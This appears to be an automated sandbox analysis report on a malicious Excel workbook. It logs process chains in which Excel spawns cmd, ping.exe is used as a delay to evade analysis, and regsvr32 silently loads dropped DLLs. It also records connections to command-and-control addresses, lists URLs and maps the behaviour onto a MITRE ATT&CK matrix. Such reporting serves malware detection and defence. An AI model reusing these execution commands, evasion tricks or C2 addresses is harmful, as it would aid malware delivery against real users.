Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion:

Uses ping.exe to sleep

Show sources

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping 8.8.7.7 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping 8.8.7.7 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping 8.8.7.7 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping 8.8.7.7 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping 8.8.7.7 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping 8.8.7.7 -n 2

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OTUW0Q90\rtdsgfe[1].dll

Jump to dropped file

Source: C:\Windows\System32\regsvr32.exe TID: 6852	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\System32\regsvr32.exe TID: 5704	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\System32\regsvr32.exe TID: 6880	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\System32\regsvr32.exe TID: 6880	Thread sleep time: -120000s >= -30000s
Source: C:\Windows\System32\regsvr32.exe TID: 6848	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\System32\regsvr32.exe TID: 6816	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\System32\regsvr32.exe TID: 3252	Thread sleep time: -30000s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\PING.EXE	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\PING.EXE	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\PING.EXE	Last function: Thread delayed
Source: C:\Windows\System32\regsvr32.exe	Last function: Thread delayed

Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00007FFD696A9D9D GetKeyboardLayoutNameW followed by cmp: cmp ebp, ecx and CTI: je 00007FFD696AA100h
Source: C:\Windows\System32\regsvr32.exe	Code function: 11_2_00007FFD69649D9D GetKeyboardLayoutNameW followed by cmp: cmp ebp, ecx and CTI: je 00007FFD6964A100h

Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00007FFD696B3714 FindFirstFileExA,
Source: C:\Windows\System32\regsvr32.exe	Code function: 11_2_00007FFD69653714 FindFirstFileExA,

Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 30000
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 30000
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 30000
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 60000
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 30000
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 30000

Source: regsvr32.exe, 00000019.00000003.540484196.0000000000AAC000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAWt
Source: regsvr32.exe, 00000019.00000003.540484196.0000000000AAC000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW
Source: regsvr32.exe, 0000001A.00000002.465899187.000000000101D000.00000004.00000020.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll]]N
Source: regsvr32.exe, 0000001B.00000002.482209725.0000000000BB8000.00000004.00000020.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\System32\regsvr32.exe

Process information queried: ProcessInformation

Source: C:\Windows\System32\regsvr32.exe

Code function: 5_2_00007FFD696B31A0 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

Source: C:\Windows\System32\regsvr32.exe

Code function: 5_2_00007FFD696A4402 GetProcessHeap,HeapAlloc,GetProcessHeap,RtlAllocateHeap,

Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00007FFD696B31A0 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00007FFD696B03CC IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00007FFD696AFC50 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,
Source: C:\Windows\System32\regsvr32.exe	Code function: 11_2_00007FFD696531A0 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,
Source: C:\Windows\System32\regsvr32.exe	Code function: 11_2_00007FFD696503CC IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,
Source: C:\Windows\System32\regsvr32.exe	Code function: 11_2_00007FFD6964FC50 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\System32\regsvr32.exe

Network Connect: 18.117.84.120 187

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping 8.8.7.7 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe -s C:\Users\user\iepfusn.dll RV0KR
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping 8.8.7.7 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe -s C:\Users\user\AppData\Local\Temp\L3YD7CE.dll N8DG
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping 8.8.7.7 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe -s C:\Users\user\AppData\Local\Temp\L3YD7CE.dll VE50DB

Source: Yara match

File source: app.xml, type: SAMPLE

Source: regsvr32.exe, 00000019.00000002.635081391.00000000010E0000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: regsvr32.exe, 00000019.00000002.635081391.00000000010E0000.00000002.00000001.sdmp	Binary or memory string: Progman
Source: regsvr32.exe, 00000019.00000002.635081391.00000000010E0000.00000002.00000001.sdmp	Binary or memory string: &Program Manager
Source: regsvr32.exe, 00000019.00000002.635081391.00000000010E0000.00000002.00000001.sdmp	Binary or memory string: Progmanlock

Source: C:\Windows\System32\regsvr32.exe

Code function: 5_2_00007FFD696B8940 cpuid

Source: C:\Windows\System32\regsvr32.exe

Code function: 5_2_00007FFD696B02C8 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

Source: C:\Windows\System32\regsvr32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Scripting1	Registry Run Keys / Startup Folder11	Process Injection112	Masquerading111	OS Credential Dumping	System Time Discovery1	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Encrypted Channel12	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Exploitation for Client Execution43	DLL Side-Loading1	Registry Run Keys / Startup Folder11	Disable or Modify Tools1	LSASS Memory	Query Registry1	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Non-Application Layer Protocol1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	DLL Side-Loading1	Virtualization/Sandbox Evasion11	Security Account Manager	Security Software Discovery21	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Application Layer Protocol2	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Process Injection112	NTDS	Virtualization/Sandbox Evasion11	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Scripting1	LSA Secrets	Process Discovery3	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Regsvr321	Cached Domain Credentials	Remote System Discovery11	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	DLL Side-Loading1	DCSync	System Network Configuration Discovery1	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	File and Directory Discovery2	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Masquerading	/etc/passwd and /etc/shadow	System Information Discovery24	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
Documents_13134976_1377491379.xlsb	2%	ReversingLabs

Dropped Files

Source	Detection	Scanner	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OTUW0Q90\rtdsgfe[1].dll	6%	Metadefender	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OTUW0Q90\rtdsgfe[1].dll	4%	ReversingLabs
C:\Users\user\AppData\Local\Temp\L3YD7CE.dll	6%	Metadefender	Browse
C:\Users\user\AppData\Local\Temp\L3YD7CE.dll	4%	ReversingLabs
C:\Users\user\iepfusn.dll	6%	Metadefender	Browse
C:\Users\user\iepfusn.dll	4%	ReversingLabs

Unpacked PE Files

No Antivirus matches

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://cdn.entity.	0%	URL Reputation	safe
https://cdn.entity.	0%	URL Reputation	safe
https://cdn.entity.	0%	URL Reputation	safe
https://powerlift.acompli.net	0%	URL Reputation	safe
https://powerlift.acompli.net	0%	URL Reputation	safe
https://powerlift.acompli.net	0%	URL Reputation	safe
https://rpsticket.partnerservices.getmicrosoftkey.com	0%	URL Reputation	safe
https://rpsticket.partnerservices.getmicrosoftkey.com	0%	URL Reputation	safe
https://rpsticket.partnerservices.getmicrosoftkey.com	0%	URL Reputation	safe
https://cortana.ai	0%	URL Reputation	safe
https://cortana.ai	0%	URL Reputation	safe
https://cortana.ai	0%	URL Reputation	safe
https://18.117.84.120/18.188.86.8/	0%	Avira URL Cloud	safe
https://api.aadrm.com/	0%	URL Reputation	safe
https://api.aadrm.com/	0%	URL Reputation	safe
https://api.aadrm.com/	0%	URL Reputation	safe
https://ofcrecsvcapi-int.azurewebsites.net/	0%	Avira URL Cloud	safe
https://18.117.84.120/#	0%	Avira URL Cloud	safe
https://res.getmicrosoftkey.com/api/redemptionevents	0%	URL Reputation	safe
https://res.getmicrosoftkey.com/api/redemptionevents	0%	URL Reputation	safe
https://res.getmicrosoftkey.com/api/redemptionevents	0%	URL Reputation	safe
https://powerlift-frontdesk.acompli.net	0%	URL Reputation	safe
https://powerlift-frontdesk.acompli.net	0%	URL Reputation	safe
https://powerlift-frontdesk.acompli.net	0%	URL Reputation	safe
https://officeci.azurewebsites.net/api/	0%	Avira URL Cloud	safe
https://store.office.cn/addinstemplate	0%	URL Reputation	safe
https://store.office.cn/addinstemplate	0%	URL Reputation	safe
https://store.office.cn/addinstemplate	0%	URL Reputation	safe
https://18.188.86.8/kenichi/special21new/trailer2a5	0%	Avira URL Cloud	safe
https://store.officeppe.com/addinstemplate	0%	URL Reputation	safe
https://store.officeppe.com/addinstemplate	0%	URL Reputation	safe
https://store.officeppe.com/addinstemplate	0%	URL Reputation	safe
https://dev0-api.acompli.net/autodetect	0%	URL Reputation	safe
https://dev0-api.acompli.net/autodetect	0%	URL Reputation	safe
https://dev0-api.acompli.net/autodetect	0%	URL Reputation	safe
https://www.odwebp.svc.ms	0%	URL Reputation	safe
https://www.odwebp.svc.ms	0%	URL Reputation	safe
https://www.odwebp.svc.ms	0%	URL Reputation	safe
https://18.117.84.120/	0%	Avira URL Cloud	safe
https://dataservice.o365filtering.com/	0%	URL Reputation	safe
https://dataservice.o365filtering.com/	0%	URL Reputation	safe
https://dataservice.o365filtering.com/	0%	URL Reputation	safe
https://officesetup.getmicrosoftkey.com	0%	URL Reputation	safe
https://officesetup.getmicrosoftkey.com	0%	URL Reputation	safe
https://officesetup.getmicrosoftkey.com	0%	URL Reputation	safe
https://prod-global-autodetect.acompli.net/autodetect	0%	URL Reputation	safe
https://prod-global-autodetect.acompli.net/autodetect	0%	URL Reputation	safe
https://prod-global-autodetect.acompli.net/autodetect	0%	URL Reputation	safe
https://ncus.contentsync.	0%	URL Reputation	safe
https://ncus.contentsync.	0%	URL Reputation	safe
https://ncus.contentsync.	0%	URL Reputation	safe
https://18.117.84.120/kenichi/special21new/trailer2a5T0	0%	Avira URL Cloud	safe
https://18.117.84.120/89b	0%	Avira URL Cloud	safe
https://apis.live.net/v5.0/	0%	URL Reputation	safe
https://apis.live.net/v5.0/	0%	URL Reputation	safe
https://apis.live.net/v5.0/	0%	URL Reputation	safe
https://18.188.86.8/Z	0%	Avira URL Cloud	safe
https://wus2.contentsync.	0%	URL Reputation	safe
https://wus2.contentsync.	0%	URL Reputation	safe
https://wus2.contentsync.	0%	URL Reputation	safe
https://18.117.84.120/kenichi/special21new/trailer2a5	0%	Avira URL Cloud	safe
https://asgsmsproxyapi.azurewebsites.net/	0%	Avira URL Cloud	safe
https://18.188.86.8:443/kenichi/special21new/trailer2a55	0%	Avira URL Cloud	safe
https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile	0%	URL Reputation	safe
https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile	0%	URL Reputation	safe
https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile	0%	URL Reputation	safe
https://ncus.pagecontentsync.	0%	URL Reputation	safe
https://ncus.pagecontentsync.	0%	URL Reputation	safe
https://ncus.pagecontentsync.	0%	URL Reputation	safe
https://skyapi.live.net/Activity/	0%	URL Reputation	safe
https://skyapi.live.net/Activity/	0%	URL Reputation	safe
https://skyapi.live.net/Activity/	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
tpfcu.com	107.180.50.232	true	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://api.diagnosticssdf.office.com	2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	false		high
https://login.microsoftonline.com/	2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	false		high
https://shell.suite.office.com:1443	2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	false		high
https://login.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/oauth2/authorize	2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	false		high
https://autodiscover-s.outlook.com/	2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	false		high
https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Flickr	2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	false		high
https://cdn.entity.	2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://api.addins.omex.office.net/appinfo/query	2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	false		high
https://clients.config.office.net/user/v1.0/tenantassociationkey	2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	false		high
https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/	2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	false		high
https://powerlift.acompli.net	2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://rpsticket.partnerservices.getmicrosoftkey.com	2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://lookup.onenote.com/lookup/geolocation/v1	2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	false		high
https://cortana.ai	2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://apc.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech	2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	false		high
https://cloudfiles.onenote.com/upload.aspx	2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	false		high
https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile	2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	false		high
https://entitlement.diagnosticssdf.office.com	2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	false		high
https://na01.oscs.protection.outlook.com/api/SafeLinksApi/GetPolicy	2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	false		high
https://18.117.84.120/18.188.86.8/	regsvr32.exe, 00000019.00000002.636067995.00000000029E5000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://api.aadrm.com/	2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://ofcrecsvcapi-int.azurewebsites.net/	2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	false	Avira URL Cloud: safe	unknown
https://18.117.84.120/#	regsvr32.exe, 00000019.00000002.634433415.0000000000A6E000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPolicies	2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	false		high
https://api.microsoftstream.com/api/	2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	false		high
https://insertmedia.bing.office.net/images/hosted?host=office&adlt=strict&hostType=Immersive	2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	false		high
https://cr.office.com	2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	false		high
https://portal.office.com/account/?ref=ClientMeControl	2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	false		high
https://ecs.office.com/config/v2/Office	2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	false		high
https://graph.ppe.windows.net	2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	false		high
https://res.getmicrosoftkey.com/api/redemptionevents	2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://powerlift-frontdesk.acompli.net	2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://tasks.office.com	2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	false		high
https://officeci.azurewebsites.net/api/	2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	false	Avira URL Cloud: safe	unknown
https://sr.outlook.office.net/ws/speech/recognize/assistant/work	2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	false		high
https://store.office.cn/addinstemplate	2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://18.188.86.8/kenichi/special21new/trailer2a5	regsvr32.exe, 00000019.00000002.634500391.0000000000AAC000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
https://outlook.office.com/autosuggest/api/v1/init?cvid=	2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	false		high
https://globaldisco.crm.dynamics.com	2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	false		high
https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech	2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	false		high
https://store.officeppe.com/addinstemplate	2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://dev0-api.acompli.net/autodetect	2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://www.odwebp.svc.ms	2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://18.117.84.120/	regsvr32.exe, 00000019.00000002.634565601.0000000000AFD000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
https://api.powerbi.com/v1.0/myorg/groups	2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	false		high
https://web.microsoftstream.com/video/	2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	false		high
https://graph.windows.net	2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	false		high
https://dataservice.o365filtering.com/	2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://officesetup.getmicrosoftkey.com	2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://analysis.windows.net/powerbi/api	2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	false		high
https://prod-global-autodetect.acompli.net/autodetect	2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://outlook.office365.com/autodiscover/autodiscover.json	2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	false		high
https://powerpoint.uservoice.com/forums/288952-powerpoint-for-ipad-iphone-ios	2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	false		high
https://eur.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech	2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	false		high
https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.json	2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	false		high
https://ncus.contentsync.	2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://onedrive.live.com/about/download/?windows10SyncClientInstalled=false	2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	false		high
https://18.117.84.120/kenichi/special21new/trailer2a5T0	regsvr32.exe, 00000019.00000002.634500391.0000000000AAC000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
https://18.117.84.120/89b	regsvr32.exe, 00000019.00000002.634565601.0000000000AFD000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/	2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	false		high
http://weather.service.msn.com/data.aspx	2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	false		high
https://apis.live.net/v5.0/	2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://officemobile.uservoice.com/forums/929800-office-app-ios-and-ipad-asks	2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	false		high
https://word.uservoice.com/forums/304948-word-for-ipad-iphone-ios	2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	false		high
https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml	2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	false		high
https://management.azure.com	2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	false		high
https://18.188.86.8/Z	regsvr32.exe, 00000019.00000002.634565601.0000000000AFD000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
https://wus2.contentsync.	2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://incidents.diagnostics.office.com	2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	false		high
https://clients.config.office.net/user/v1.0/ios	2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	false		high
